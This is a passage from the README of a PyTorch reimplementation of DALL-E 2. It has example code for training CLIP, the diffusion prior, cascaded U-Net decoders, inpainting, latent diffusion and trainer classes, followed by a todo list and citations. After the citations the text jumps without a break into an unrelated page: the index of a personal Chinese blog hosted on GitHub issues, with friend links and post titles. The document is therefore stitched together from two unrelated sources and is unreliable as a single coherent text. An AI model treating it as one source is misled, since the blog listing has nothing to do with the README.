    visual_enc_depth = 6,
    visual_image_size = 256,
    visual_patch_size = 32,
    visual_heads = 8
).cuda()

# mock data

text = torch.randint(0, 49408, (4, 256)).cuda()
images = torch.randn(4, 3, 256, 256).cuda()

# train

loss = clip(
    text,
    images,
    return_loss = True
)

loss.backward()

# do above for many steps ...

# prior networks (with transformer)

prior_network = DiffusionPriorNetwork(
    dim = 512,
    depth = 6,
    dim_head = 64,
    heads = 8
).cuda()

diffusion_prior = DiffusionPrior(
    net = prior_network,
    clip = clip,
    timesteps = 1000,
    sample_timesteps = 64,
    cond_drop_prob = 0.2
).cuda()

loss = diffusion_prior(text, images)
loss.backward()

# do above for many steps ...

# decoder (with unet)

unet1 = Unet(
    dim = 128,
    image_embed_dim = 512,
    text_embed_dim = 512,
    cond_dim = 128,
    channels = 3,
    dim_mults=(1, 2, 4, 8),
    cond_on_text_encodings = True    # set to True for any unets that need to be conditioned on text encodings
).cuda()

unet2 = Unet(
    dim = 16,
    image_embed_dim = 512,
    cond_dim = 128,
    channels = 3,
    dim_mults = (1, 2, 4, 8, 16)
).cuda()

decoder = Decoder(
    unet = (unet1, unet2),
    image_sizes = (128, 256),
    clip = clip,
    timesteps = 100,
    image_cond_drop_prob = 0.1,
    text_cond_drop_prob = 0.5
).cuda()

for unet_number in (1, 2):
    loss = decoder(images, text = text, unet_number = unet_number) # this can optionally be decoder(images, text) if you wish to condition on the text encodings as well, though it was hinted in the paper it didn't do much
    loss.backward()

# do above for many steps

dalle2 = DALLE2(
    prior = diffusion_prior,
    decoder = decoder
)

images = dalle2(
    ['cute puppy chasing after a squirrel'],
    cond_scale = 2. # classifier free guidance strength (> 1 would strengthen the condition)
)

# save your image (in this example, of size 256x256)

Everything in this readme should run without error

You can also train the decoder on images of greater than the size (say 512x512) at which CLIP was trained (256x256). The images will be resized to CLIP image resolution for the image embeddings

For the layperson, no worries, training will all be automated into a CLI tool, at least for small scale training.

Training on Preprocessed CLIP Embeddings

It is likely, when scaling up, that you would first preprocess your images and text into corresponding embeddings before training the prior network. You can do so easily by simply passing in image_embed, text_embed, and optionally text_encodings

Working example below

import torch
from dalle2_pytorch import DiffusionPriorNetwork, DiffusionPrior, CLIP

# get trained CLIP from step one

clip = CLIP(
    dim_text = 512,
    dim_image = 512,
    dim_latent = 512,
    num_text_tokens = 49408,
    text_enc_depth = 6,
    text_seq_len = 256,
    text_heads = 8,
    visual_enc_depth = 6,
    visual_image_size = 256,
    visual_patch_size = 32,
    visual_heads = 8,
).cuda()

# setup prior network, which contains an autoregressive transformer

prior_network = DiffusionPriorNetwork(
    dim = 512,
    depth = 6,
    dim_head = 64,
    heads = 8
).cuda()

# diffusion prior network, which contains the CLIP and network (with transformer) above

diffusion_prior = DiffusionPrior(
    net = prior_network,
    clip = clip,
    timesteps = 100,
    cond_drop_prob = 0.2,
    condition_on_text_encodings = False  # this probably should be true, but just to get Laion started
).cuda()

# mock data

text = torch.randint(0, 49408, (4, 256)).cuda()
images = torch.randn(4, 3, 256, 256).cuda()

# precompute the text and image embeddings
# here using the diffusion prior class, but could be done with CLIP alone

clip_image_embeds = diffusion_prior.clip.embed_image(images).image_embed
clip_text_embeds = diffusion_prior.clip.embed_text(text).text_embed

# feed text and images into diffusion prior network

loss = diffusion_prior(
    text_embed = clip_text_embeds,
    image_embed = clip_image_embeds
)

loss.backward()

# do the above for many many many steps
# now the diffusion prior can generate image embeddings from the text embeddings

You can also completely go CLIP-less, in which case you will need to pass in the image_embed_dim into the DiffusionPrior on initialization

import torch
from dalle2_pytorch import DiffusionPriorNetwork, DiffusionPrior

# setup prior network, which contains an autoregressive transformer

prior_network = DiffusionPriorNetwork(
    dim = 512,
    depth = 6,
    dim_head = 64,
    heads = 8
).cuda()

# diffusion prior network, which contains the CLIP and network (with transformer) above

diffusion_prior = DiffusionPrior(
    net = prior_network,
    image_embed_dim = 512,               # this needs to be set
    timesteps = 100,
    cond_drop_prob = 0.2,
    condition_on_text_encodings = False  # this probably should be true, but just to get Laion started
).cuda()

# mock data

text = torch.randint(0, 49408, (4, 256)).cuda()
images = torch.randn(4, 3, 256, 256).cuda()

# precompute the text and image embeddings
# here using the diffusion prior class, but could be done with CLIP alone

clip_image_embeds = torch.randn(4, 512).cuda()
clip_text_embeds = torch.randn(4, 512).cuda()

# feed text and images into diffusion prior network

loss = diffusion_prior(
    text_embed = clip_text_embeds,
    image_embed = clip_image_embeds
)

loss.backward()

# do the above for many many many steps
# now the diffusion prior can generate image embeddings from the text embeddings

OpenAI CLIP

Although there is the possibility they are using an unreleased, more powerful CLIP, you can use one of the released ones, if you do not wish to train your own CLIP from scratch. This will also allow the community to more quickly validate the conclusions of the paper.

To use a pretrained OpenAI CLIP, simply import OpenAIClipAdapter and pass it into the DiffusionPrior or Decoder like so

import torch
from dalle2_pytorch import DALLE2, DiffusionPriorNetwork, DiffusionPrior, Unet, Decoder, OpenAIClipAdapter

# openai pretrained clip - defaults to ViT-B/32

clip = OpenAIClipAdapter()

# mock data

text = torch.randint(0, 49408, (4, 256)).cuda()
images = torch.randn(4, 3, 256, 256).cuda()

# prior networks (with transformer)

prior_network = DiffusionPriorNetwork(
    dim = 512,
    depth = 6,
    dim_head = 64,
    heads = 8
).cuda()

diffusion_prior = DiffusionPrior(
    net = prior_network,
    clip = clip,
    timesteps = 100,
    cond_drop_prob = 0.2
).cuda()

loss = diffusion_prior(text, images)
loss.backward()

# do above for many steps ...

# decoder (with unet)

unet1 = Unet(
    dim = 128,
    image_embed_dim = 512,
    cond_dim = 128,
    channels = 3,
    dim_mults=(1, 2, 4, 8),
    text_embed_dim = 512,
    cond_on_text_encodings = True  # set to True for any unets that need to be conditioned on text encodings (ex. first unet in cascade)
).cuda()

unet2 = Unet(
    dim = 16,
    image_embed_dim = 512,
    cond_dim = 128,
    channels = 3,
    dim_mults = (1, 2, 4, 8, 16)
).cuda()

decoder = Decoder(
    unet = (unet1, unet2),
    image_sizes = (128, 256),
    clip = clip,
    timesteps = 1000,
    sample_timesteps = (250, 27),
    image_cond_drop_prob = 0.1,
    text_cond_drop_prob = 0.5
).cuda()

for unet_number in (1, 2):
    loss = decoder(images, text = text, unet_number = unet_number) # this can optionally be decoder(images, text) if you wish to condition on the text encodings as well, though it was hinted in the paper it didn't do much
    loss.backward()

# do above for many steps

dalle2 = DALLE2(
    prior = diffusion_prior,
    decoder = decoder
)

images = dalle2(
    ['a butterfly trying to escape a tornado'],
    cond_scale = 2. # classifier free guidance strength (> 1 would strengthen the condition)
)

# save your image (in this example, of size 256x256)

Alternatively, you can also use Open Clip

$ pip install open-clip-torch

Ex. using the SOTA Open Clip model trained by Romain

from dalle2_pytorch import OpenClipAdapter

clip = OpenClipAdapter('ViT-H/14')

Now you'll just have to worry about training the Prior and the Decoder!

Inpainting

Inpainting is also built into the Decoder. You simply have to pass in the inpaint_image and inpaint_mask (boolean tensor where True indicates which regions of the inpaint image to keep)

This repository uses the formulation put forth by Lugmayr et al. in Repaint

import torch
from dalle2_pytorch import Unet, Decoder, CLIP

# trained clip from step 1

clip = CLIP(
    dim_text = 512,
    dim_image = 512,
    dim_latent = 512,
    num_text_tokens = 49408,
    text_enc_depth = 6,
    text_seq_len = 256,
    text_heads = 8,
    visual_enc_depth = 6,
    visual_image_size = 256,
    visual_patch_size = 32,
    visual_heads = 8
).cuda()

# 2 unets for the decoder (a la cascading DDPM)

unet = Unet(
    dim = 16,
    image_embed_dim = 512,
    cond_dim = 128,
    channels = 3,
    dim_mults = (1, 1, 1, 1)
).cuda()


# decoder, which contains the unet(s) and clip

decoder = Decoder(
    clip = clip,
    unet = (unet,),               # insert both unets in order of low resolution to highest resolution (you can have as many stages as you want here)
    image_sizes = (256,),         # resolutions, 256 for first unet, 512 for second. these must be unique and in ascending order (matches with the unets passed in)
    timesteps = 1000,
    image_cond_drop_prob = 0.1,
    text_cond_drop_prob = 0.5
).cuda()

# mock images (get a lot of this)

images = torch.randn(4, 3, 256, 256).cuda()

# feed images into decoder, specifying which unet you want to train
# each unet can be trained separately, which is one of the benefits of the cascading DDPM scheme

loss = decoder(images, unet_number = 1)
loss.backward()

# do the above for many steps for both unets

mock_image_embed = torch.randn(1, 512).cuda()

# then to do inpainting

inpaint_image = torch.randn(1, 3, 256, 256).cuda()      # (batch, channels, height, width)
inpaint_mask = torch.ones(1, 256, 256).bool().cuda()    # (batch, height, width)

inpainted_images = decoder.sample(
    image_embed = mock_image_embed,
    inpaint_image = inpaint_image,    # just pass in the inpaint image
    inpaint_mask = inpaint_mask       # and the mask
)

inpainted_images.shape # (1, 3, 256, 256)

Experimental

DALL-E2 with Latent Diffusion

This repository decides to take the next step and offer DALL-E v2 combined with latent diffusion, from Rombach et al.

You can use it as follows. Latent diffusion can be limited to just the first U-Net in the cascade, or to any number you wish.

The repository also comes equipped with all the necessary settings to recreate ViT-VQGan from the Improved VQGans paper. Furthermore, the vector quantization library also comes equipped to do residual or multi-headed quantization, which I believe will give an even further boost in performance to the autoencoder.

import torch
from dalle2_pytorch import Unet, Decoder, CLIP, VQGanVAE

# trained clip from step 1

clip = CLIP(
    dim_text = 512,
    dim_image = 512,
    dim_latent = 512,
    num_text_tokens = 49408,
    text_enc_depth = 1,
    text_seq_len = 256,
    text_heads = 8,
    visual_enc_depth = 1,
    visual_image_size = 256,
    visual_patch_size = 32,
    visual_heads = 8
)

# 3 unets for the decoder (a la cascading DDPM)

# first two unets are doing latent diffusion
# vqgan-vae must be trained beforehand

vae1 = VQGanVAE(
    dim = 32,
    image_size = 256,
    layers = 3,
    layer_mults = (1, 2, 4)
)

vae2 = VQGanVAE(
    dim = 32,
    image_size = 512,
    layers = 3,
    layer_mults = (1, 2, 4)
)

unet1 = Unet(
    dim = 32,
    image_embed_dim = 512,
    cond_dim = 128,
    channels = 3,
    sparse_attn = True,
    sparse_attn_window = 2,
    dim_mults = (1, 2, 4, 8)
)

unet2 = Unet(
    dim = 32,
    image_embed_dim = 512,
    channels = 3,
    dim_mults = (1, 2, 4, 8, 16),
    cond_on_image_embeds = True,
    cond_on_text_encodings = False
)

unet3 = Unet(
    dim = 32,
    image_embed_dim = 512,
    channels = 3,
    dim_mults = (1, 2, 4, 8, 16),
    cond_on_image_embeds = True,
    cond_on_text_encodings = False,
    attend_at_middle = False
)

# decoder, which contains the unet(s) and clip

decoder = Decoder(
    clip = clip,
    vae = (vae1, vae2),                # latent diffusion for unet1 (vae1) and unet2 (vae2), but not for the last unet3
    unet = (unet1, unet2, unet3),      # insert unets in order of low resolution to highest resolution (you can have as many stages as you want here)
    image_sizes = (256, 512, 1024),    # resolutions, 256 for first unet, 512 for second, 1024 for third
    timesteps = 100,
    image_cond_drop_prob = 0.1,
    text_cond_drop_prob = 0.5
).cuda()

# mock images (get a lot of this)

images = torch.randn(1, 3, 1024, 1024).cuda()

# feed images into decoder, specifying which unet you want to train
# each unet can be trained separately, which is one of the benefits of the cascading DDPM scheme

with decoder.one_unet_in_gpu(1):
    loss = decoder(images, unet_number = 1)
    loss.backward()

with decoder.one_unet_in_gpu(2):
    loss = decoder(images, unet_number = 2)
    loss.backward()

with decoder.one_unet_in_gpu(3):
    loss = decoder(images, unet_number = 3)
    loss.backward()

# do the above for many steps for both unets

# then it will learn to generate images based on the CLIP image embeddings

# chaining the unets from lowest resolution to highest resolution (thus cascading)

mock_image_embed = torch.randn(1, 512).cuda()
images = decoder.sample(mock_image_embed) # (1, 3, 1024, 1024)

Training wrapper

Decoder Training

Training the Decoder may be confusing, as one needs to keep track of an optimizer for each of the Unet(s) separately. Each Unet will also need its own corresponding exponential moving average. The DecoderTrainer hopes to make this simple, as shown below

import torch
from dalle2_pytorch import DALLE2, Unet, Decoder, CLIP, DecoderTrainer

clip = CLIP(
    dim_text = 512,
    dim_image = 512,
    dim_latent = 512,
    num_text_tokens = 49408,
    text_enc_depth = 6,
    text_seq_len = 256,
    text_heads = 8,
    visual_enc_depth = 6,
    visual_image_size = 256,
    visual_patch_size = 32,
    visual_heads = 8
).cuda()

# mock data

text = torch.randint(0, 49408, (32, 256)).cuda()
images = torch.randn(32, 3, 256, 256).cuda()

# decoder (with unet)

unet1 = Unet(
    dim = 128,
    image_embed_dim = 512,
    text_embed_dim = 512,
    cond_dim = 128,
    channels = 3,
    dim_mults=(1, 2, 4, 8),
    cond_on_text_encodings = True,
).cuda()

unet2 = Unet(
    dim = 16,
    image_embed_dim = 512,
    cond_dim = 128,
    channels = 3,
    dim_mults = (1, 2, 4, 8, 16),
).cuda()

decoder = Decoder(
    unet = (unet1, unet2),
    image_sizes = (128, 256),
    clip = clip,
    timesteps = 1000
).cuda()

decoder_trainer = DecoderTrainer(
    decoder,
    lr = 3e-4,
    wd = 1e-2,
    ema_beta = 0.99,
    ema_update_after_step = 1000,
    ema_update_every = 10,
)

for unet_number in (1, 2):
    loss = decoder_trainer(
        images,
        text = text,
        unet_number = unet_number, # which unet to train on
        max_batch_size = 4         # gradient accumulation - this sets the maximum batch size in which to do forward and backwards pass - for this example 32 / 4 == 8 times
    )

    decoder_trainer.update(unet_number) # update the specific unet as well as its exponential moving average

# after much training
# you can sample from the exponentially moving averaged unets as so

mock_image_embed = torch.randn(32, 512).cuda()
images = decoder_trainer.sample(image_embed = mock_image_embed, text = text) # (4, 3, 256, 256)

Diffusion Prior Training

Similarly, one can use the DiffusionPriorTrainer to automatically instantiate and keep track of an exponential moving averaged prior.

import torch
from dalle2_pytorch import DALLE2, DiffusionPriorNetwork, DiffusionPrior, DiffusionPriorTrainer, Unet, Decoder, CLIP

clip = CLIP(
    dim_text = 512,
    dim_image = 512,
    dim_latent = 512,
    num_text_tokens = 49408,
    text_enc_depth = 6,
    text_seq_len = 256,
    text_heads = 8,
    visual_enc_depth = 6,
    visual_image_size = 256,
    visual_patch_size = 32,
    visual_heads = 8
).cuda()

# mock data

text = torch.randint(0, 49408, (512, 256)).cuda()
images = torch.randn(512, 3, 256, 256).cuda()

# prior networks (with transformer)

prior_network = DiffusionPriorNetwork(
    dim = 512,
    depth = 6,
    dim_head = 64,
    heads = 8
).cuda()

diffusion_prior = DiffusionPrior(
    net = prior_network,
    clip = clip,
    timesteps = 100,
    cond_drop_prob = 0.2
).cuda()

diffusion_prior_trainer = DiffusionPriorTrainer(
    diffusion_prior,
    lr = 3e-4,
    wd = 1e-2,
    ema_beta = 0.99,
    ema_update_after_step = 1000,
    ema_update_every = 10,
)

loss = diffusion_prior_trainer(text, images, max_batch_size = 4)
diffusion_prior_trainer.update()  # this will update the optimizer as well as the exponential moving averaged diffusion prior

# after much of the above three lines in a loop
# you can sample from the exponential moving average of the diffusion prior identically to how you do so for DiffusionPrior

image_embeds = diffusion_prior_trainer.sample(text, max_batch_size = 4) # (512, 512) - exponential moving averaged image embeddings

Bonus

Unconditional Training

The repository also contains the means to train unconditional DDPM model, or even cascading DDPMs. You simply have to set unconditional = True in the Decoder

ex.

import torch
from dalle2_pytorch import Unet, Decoder, DecoderTrainer

# unet for the cascading ddpm

unet1 = Unet(
    dim = 128,
    dim_mults=(1, 2, 4, 8)
).cuda()

unet2 = Unet(
    dim = 32,
    dim_mults = (1, 2, 4, 8, 16)
).cuda()

# decoder, which contains the unets

decoder = Decoder(
    unet = (unet1, unet2),
    image_sizes = (256, 512),  # first unet up to 256px, then second to 512px
    timesteps = 1000,
    unconditional = True
).cuda()

# decoder trainer

decoder_trainer = DecoderTrainer(decoder)

# images (get a lot of this)

images = torch.randn(1, 3, 512, 512).cuda()

# feed images into decoder

for i in (1, 2):
    loss = decoder_trainer(images, unet_number = i)
    decoder_trainer.update(unet_number = i)

# do the above for many many many many images
# then it will learn to generate images

images = decoder_trainer.sample(batch_size = 36, max_batch_size = 4) # (36, 3, 512, 512)

Dataloaders

Decoder Dataloaders

In order to make loading data simple and efficient, we include some general dataloaders that can be used to train portions of the network.

Decoder: Image Embedding Dataset

When training the decoder (and up samplers if training together) in isolation, you will need to load images and corresponding image embeddings. This dataset can read two similar types of datasets. First, it can read a webdataset that contains .jpg and .npy files in the .tars that contain the images and associated image embeddings respectively. Alternatively, you can also specify a source for the embeddings outside of the webdataset. In this case, the path to the embeddings should contain .npy files with the same shard numbers as the webdataset and there should be a correspondence between the filename of the .jpg and the index of the embedding in the .npy. So, for example, 0001.tar from the webdataset with image 00010509.jpg (the first 4 digits are the shard number and the last 4 are the index) in it should be paralleled by a img_emb_0001.npy which contains a NumPy array with the embedding at index 509.

Generating a dataset of this type:

Use img2dataset to generate a webdataset.
Use clip-retrieval to convert the images to embeddings.
Use embedding-dataset-reordering to reorder the embeddings into the expected format.

Usage:

from dalle2_pytorch.dataloaders import ImageEmbeddingDataset, create_image_embedding_dataloader

# Create a dataloader directly.
dataloader = create_image_embedding_dataloader(
    tar_url="/path/or/url/to/webdataset/{0000..9999}.tar", # Uses bracket expanding notation. This specifies to read all tars from 0000.tar to 9999.tar
    embeddings_url="path/or/url/to/embeddings/folder",     # Included if .npy files are not in webdataset. Left out or set to None otherwise
    num_workers=4,
    batch_size=32,
    shard_width=4,                                         # If a file in the webdataset shard 3 is named 0003039.jpg, we know the shard width is 4 and the last three digits are the index
    shuffle_num=200,                                       # Does a shuffle of the data with a buffer size of 200
    shuffle_shards=True,                                   # Shuffle the order the shards are read in
    resample_shards=False,                                 # Sample shards with replacement. If true, an epoch will be infinite unless stopped manually
)
for img, emb in dataloader:
    print(img.shape)  # torch.Size([32, 3, 256, 256])
    print(emb["img"].shape)  # torch.Size([32, 512])
    # Train decoder only as shown above

# Or create a dataset without a loader so you can configure it manually
dataset = ImageEmbeddingDataset(
    urls="/path/or/url/to/webdataset/{0000..9999}.tar",
    embedding_folder_url="path/or/url/to/embeddings/folder",
    shard_width=4,
    shuffle_shards=True,
    resample=False
)

Scripts

`train_diffusion_prior.py`

For detailed information on training the diffusion prior, please refer to the dedicated readme

Todo

finish off gaussian diffusion class for latent embedding - allow for prediction of epsilon
add what was proposed in the paper, where DDPM objective for image latent embedding predicts x0 directly (reread vq-diffusion paper and get caught up on that line of work)
make sure it works end to end to produce an output tensor, taking a single gradient step
augment unet so that it can also be conditioned on text encodings (although in paper they hinted this didn't make much a difference)
figure out all the current bag of tricks needed to make DDPMs great (starting with the blur trick mentioned in paper)
build the cascading ddpm by having Decoder class manage multiple unets at different resolutions
add efficient attention in unet
be able to finely customize what to condition on (text, image embed) for specific unet in the cascade (super resolution ddpms near the end may not need too much conditioning)
offload unets not being trained on to CPU for memory efficiency (for training each resolution unets separately)
build out latent diffusion architecture, with the vq-reg variant (vqgan-vae), make it completely optional and compatible with cascading ddpms
for decoder, allow ability to customize objective (predict epsilon vs x0), in case latent diffusion does better with prediction of x0
use attention-based upsampling https://arxiv.org/abs/2112.11435
use inheritance just this once for sharing logic between decoder and prior network ddpms
bring in vit-vqgan https://arxiv.org/abs/2110.04627 for the latent diffusion
abstract interface for CLIP adapter class, so other CLIPs can be brought in
take care of mixed precision as well as gradient accumulation within decoder trainer
just take care of the training for the decoder in a wrapper class, as each unet in the cascade will need its own optimizer
bring in tools to train vqgan-vae
add convnext backbone for vqgan-vae (in addition to vit [vit-vqgan] + resnet)
make sure DDPMs can be run with traditional resnet blocks (but leave convnext as an option for experimentation)
make sure for the latter unets in the cascade, one can train on crops for learning super resolution (constrain the unet to be only convolutions in that case, or allow conv-like attention with rel pos bias)
offer setting in diffusion prior to split time and image embeddings into multiple tokens, configurable, for more surface area during attention
make sure resnet hyperparameters can be configurable across unet depth (groups and expansion factor)
pull logic for training diffusion prior into a class DiffusionPriorTrainer, for eventual script based + CLI based training
make sure the cascading ddpm in the repository can be trained unconditionally, offer a one-line CLI tool for training on a folder of images
bring in cross-scale embedding from iclr paper https://github.com/lucidrains/vit-pytorch/blob/main/vit_pytorch/crossformer.py#L14
cross embed layers for downsampling, as an option
use an experimental tracker agnostic setup, as done here
use pydantic for config drive training
for both diffusion prior and decoder, all exponential moving averaged models needs to be saved and restored as well (as well as the step number)
offer save / load methods on the trainer classes to automatically take care of state dicts for scalers / optimizers / saving versions and checking for breaking changes
allow for creation of diffusion prior model off pydantic config classes - consider the same for tracker configs
bring in skip-layer excitations (from lightweight gan paper) to see if it helps for either decoder of unet or vqgan-vae training (doesnt work well)
test out grid attention in cascading ddpm locally, decide whether to keep or remove https://arxiv.org/abs/2204.01697 (keeping, seems to be fine)
allow for unet to be able to condition non-cross attention style as well
speed up inference, read up on papers (ddim)
add inpainting ability using resampler from repaint paper https://arxiv.org/abs/2201.09865
add the final combination of upsample feature maps, used in unet squared, seems to have an effect in local experiments
consider elucidated dalle2 https://arxiv.org/abs/2206.00364
add simple outpainting, text-guided 2x size the image for starters
interface out the vqgan-vae so a pretrained one can be pulled off the shelf to validate latent diffusion + DALL-E2

Citations

@misc{ramesh2022,
    title   = {Hierarchical Text-Conditional Image Generation with CLIP Latents}, 
    author  = {Aditya Ramesh et al},
    year    = {2022}
}

@misc{crowson2022,
    author  = {Katherine Crowson},
    url     = {https://twitter.com/rivershavewings}
}

@misc{rombach2021highresolution,
    title   = {High-Resolution Image Synthesis with Latent Diffusion Models}, 
    author  = {Robin Rombach and Andreas Blattmann and Dominik Lorenz and Patrick Esser and Björn Ommer},
    year    = {2021},
    eprint  = {2112.10752},
    archivePrefix = {arXiv},
    primaryClass = {cs.CV}
}

@article{shen2019efficient,
    author  = {Zhuoran Shen and Mingyuan Zhang and Haiyu Zhao and Shuai Yi and Hongsheng Li},
    title   = {Efficient Attention: Attention with Linear Complexities},
    journal = {CoRR},
    year    = {2018},
    url     = {http://arxiv.org/abs/1812.01243},
}

@article{Yu2021VectorquantizedIM,
    title   = {Vector-quantized Image Modeling with Improved VQGAN},
    author  = {Jiahui Yu and Xin Li and Jing Yu Koh and Han Zhang and Ruoming Pang and James Qin and Alexander Ku and Yuanzhong Xu and Jason Baldridge and Yonghui Wu},
    journal = {ArXiv},
    year    = {2021},
    volume  = {abs/2110.04627}
}

@article{Shleifer2021NormFormerIT,
    title   = {NormFormer: Improved Transformer Pretraining with Extra Normalization},
    author  = {Sam Shleifer and Jason Weston and Myle Ott},
    journal = {ArXiv},
    year    = {2021},
    volume  = {abs/2110.09456}
}

@article{Yu2022CoCaCC,
    title   = {CoCa: Contrastive Captioners are Image-Text Foundation Models},
    author  = {Jiahui Yu and Zirui Wang and Vijay Vasudevan and Legg Yeung and Mojtaba Seyedhosseini and Yonghui Wu},
    journal = {ArXiv},
    year    = {2022},
    volume  = {abs/2205.01917}
}

@misc{wang2021crossformer,
    title   = {CrossFormer: A Versatile Vision Transformer Hinging on Cross-scale Attention},
    author  = {Wenxiao Wang and Lu Yao and Long Chen and Binbin Lin and Deng Cai and Xiaofei He and Wei Liu},
    year    = {2021},
    eprint  = {2108.00154},
    archivePrefix = {arXiv},
    primaryClass = {cs.CV}
}

@article{ho2021cascaded,
    title   = {Cascaded Diffusion Models for High Fidelity Image Generation},
    author  = {Ho, Jonathan and Saharia, Chitwan and Chan, William and Fleet, David J and Norouzi, Mohammad and Salimans, Tim},
    journal = {arXiv preprint arXiv:2106.15282},
    year    = {2021}
}

@misc{Saharia2022,
    title   = {Imagen: unprecedented photorealism × deep level of language understanding},
    author  = {Chitwan Saharia*, William Chan*, Saurabh Saxena†, Lala Li†, Jay Whang†, Emily Denton, Seyed Kamyar Seyed Ghasemipour, Burcu Karagol Ayan, S. Sara Mahdavi, Rapha Gontijo Lopes, Tim Salimans, Jonathan Ho†, David Fleet†, Mohammad Norouzi*},
    year    = {2022}
}

@article{Choi2022PerceptionPT,
    title   = {Perception Prioritized Training of Diffusion Models},
    author  = {Jooyoung Choi and Jungbeom Lee and Chaehun Shin and Sungwon Kim and Hyunwoo J. Kim and Sung-Hoon Yoon},
    journal = {ArXiv},
    year    = {2022},
    volume  = {abs/2204.00227}
}

@article{Saharia2021PaletteID,
    title   = {Palette: Image-to-Image Diffusion Models},
    author  = {Chitwan Saharia and William Chan and Huiwen Chang and Chris A. Lee and Jonathan Ho and Tim Salimans and David J. Fleet and Mohammad Norouzi},
    journal = {ArXiv},
    year    = {2021},
    volume  = {abs/2111.05826}
}

@article{Lugmayr2022RePaintIU,
    title   = {RePaint: Inpainting using Denoising Diffusion Probabilistic Models},
    author  = {Andreas Lugmayr and Martin Danelljan and Andr{\'e}s Romero and Fisher Yu and Radu Timofte and Luc Van Gool},
    journal = {ArXiv},
    year    = {2022},
    volume  = {abs/2201.09865}
}

@misc{chen2022analog,
    title   = {Analog Bits: Generating Discrete Data using Diffusion Models with Self-Conditioning},
    author  = {Ting Chen and Ruixiang Zhang and Geoffrey Hinton},
    year    = {2022},
    eprint  = {2208.04202},
    archivePrefix = {arXiv},
    primaryClass = {cs.CV}
}

@article{Qiao2019WeightS,
    title   = {Weight Standardization},
    author  = {Siyuan Qiao and Huiyu Wang and Chenxi Liu and Wei Shen and Alan Loddon Yuille},
    journal = {ArXiv},
    year    = {2019},
    volume  = {abs/1903.10520}
}

@inproceedings{rogozhnikov2022einops,
    title   = {Einops: Clear and Reliable Tensor Manipulations with Einstein-like Notation},
    author  = {Alex Rogozhnikov},
    booktitle = {International Conference on Learning Representations},
    year    = {2022},
    url     = {https://openreview.net/forum?id=oapKSVM2bcj}
}

@article{Sunkara2022NoMS,
    title   = {No More Strided Convolutions or Pooling: A New CNN Building Block for Low-Resolution Images and Small Objects},
    author  = {Raja Sunkara and Tie Luo},
    journal = {ArXiv},
    year    = {2022},
    volume  = {abs/2208.03641}
}

@article{Salimans2022ProgressiveDF,
    title   = {Progressive Distillation for Fast Sampling of Diffusion Models},
    author  = {Tim Salimans and Jonathan Ho},
    journal = {ArXiv},
    year    = {2022},
    volume  = {abs/2202.00512}
}

Creating noise from data is easy; creating data from noise is generative modeling. - Yang Song's paper

yihong0618/gitblog

2024-01-03T01:36:06Z

People Die, but Long Live GitHub

Gitblog

My personal blog using issues and GitHub Actions (随意转载，无需署名) RSS Feed

友情链接

Name	Link	Desc
兔子鮮笙	https://tuzi.moe	22 岁的天才少年
FriendsA	https://blog.duanfei.org/	友人A
daya0576	https://changchen.me/	喜欢 python 的大牙
kenlai	https://kenlai.me/	网络前辈
Frost Ming	https://frostming.com/	醉后不知天在水，满船清梦压星河
ChrAlpha	https://ichr.me/	你唯有拼尽全力，才能显得毫不费力
古思为	https://siwei.io/	I build things with magic and scale the magic to help people.
二愣的闲谈杂鱼	https://godruoyi.com	生活总是这样，不能让人处处都满意，但我们还要热情地生活下去。
彭宏豪的个人博客	https://penghh.fun	我的 Hexo 博客，分享一些软件或电脑的使用技巧
Yu Jinyan	https://blog.yujinyan.me/	Web, JVM, Android. Kotlin enthusiast.
Leeyom's Blog	https://blog.leeyom.top	用于记录一些幼稚的想法和脑残的瞬间
chaomai's blog	https://chaomai.github.io/	A repository for the things I’ve learnt, built, and wasted time on.
linw1995's blog	https://linw1995.com/	三分热度三分收获
蒋继发 (Thaddeus Jiang)	https://thaddeusjiang.com/welcome.html	在日本开发 SaaS 产品，Love OSS
Yisheng's blog	https://yishenggong.com/	把一些从未有过的故事带到这个世界上
卡瓦邦噶	https://www.kawabangga.com/	一个叫赖信涛的男人
猫四叔	https://yuanj.top/	记录生信小白的学习之路
Nomango's Blog	https://nomango.dev/	值得去的地方都没有捷径
scond的博客	https://helloo2020.github.io	一个读书，跑步，旅行的人

置顶文章

开源四年的一些记录--2023-03-21
不用 root 使用小爱同学和 ChatGPT 交互折腾记--2023-02-16
用 eBPF trace PostgreSQL 的几种姿势--2023-01-28
今天的跑步电台--2022-07-18
经历了人生体验最棒的一次面试--2021-12-06
参加了《开源面对面》《ByteTalk》《枫言枫语》播客的一些记录--2021-11-26
running_page 开源一周年的总结--2021-09-27
如何用一个仓库记录自己的一年--2021-05-28
力扣的程序是如何运行的--2021-02-01
巧妙利用 iOS 的快捷指令配合 GitHub Actions 实现自动化--2020-12-23
如何获取悦跑圈数据--2020-12-18
推荐一些我一直关注的觉得不错的和 Python 相关的独立博客--2020-11-20
如何获取 keep 跑步数据--2020-10-22
我转行程序员的经历--2020-09-13
程序员跑步指南--2020-08-23
这个博客开源了--2020-08-20
vscode-gcores开发笔记1--2020-01-19

2019

显示更多

2022

2022 失落的一年--2022-12-19
Random Thoughts--2022-08-31
反思--2022-08-10
二零二二的三个小目标--2022-01-07

一些计划

显示更多

一些记录

旧文，移动端最好的游戏，《Dream Quest》以及其它--2023-09-28
杂感--2023-05-01
开源四年的一些记录--2023-03-21
不用 root 使用小爱同学和 ChatGPT 交互折腾记--2023-02-16
写诗吧--2022-11-25

显示更多

如果判断一个数字帐号来自中国大陆--2022-10-25
运交华盖欲何求--2022-03-03
参加了《开源面对面》《ByteTalk》《枫言枫语》播客的一些记录--2021-11-26
张小龙的饭否--2021-07-08
推荐一些我一直关注的觉得不错的和 Python 相关的独立博客--2020-11-20
我转行程序员的经历--2020-09-13
做减法--2020-04-16
少说，多做，--2020-02-13
刷完了《东京男子图鉴》--2020-01-28
蛋疼--2019-10-04
编程的一些心得--2019-10-04
一些心得--2019-09-22
王兴的饭否--2019-07-20
今天看到的一些话--2019-07-19

工作

显示更多

技术文章

如何写一个 PostgreSQL Extension--2023-07-08
用 eBPF trace PostgreSQL 的几种姿势--2023-01-28
利用 GitHubPoster 和 GitHub Actions 备份任意用户推特--2022-11-19
LeetCode 是如何运行的--测试篇--2022-07-01
Postgres 中 GUC 的一些记录--2022-04-21

显示更多

从 Rich 作者的一个问题说起--2021-06-21
如何用一个仓库记录自己的一年--2021-05-28
力扣的程序是如何运行的--2021-02-01
如何获取 keep 跑步数据--2020-10-22
决定把gitblog和kb结合起来--2020-09-23
程序员跑步指南--2020-08-23
这个博客开源了--2020-08-20
机器学习存档--2020-05-21
异步存档--2020-01-22
这几天的一些心得--2019-12-15
算法存档--2019-12-11
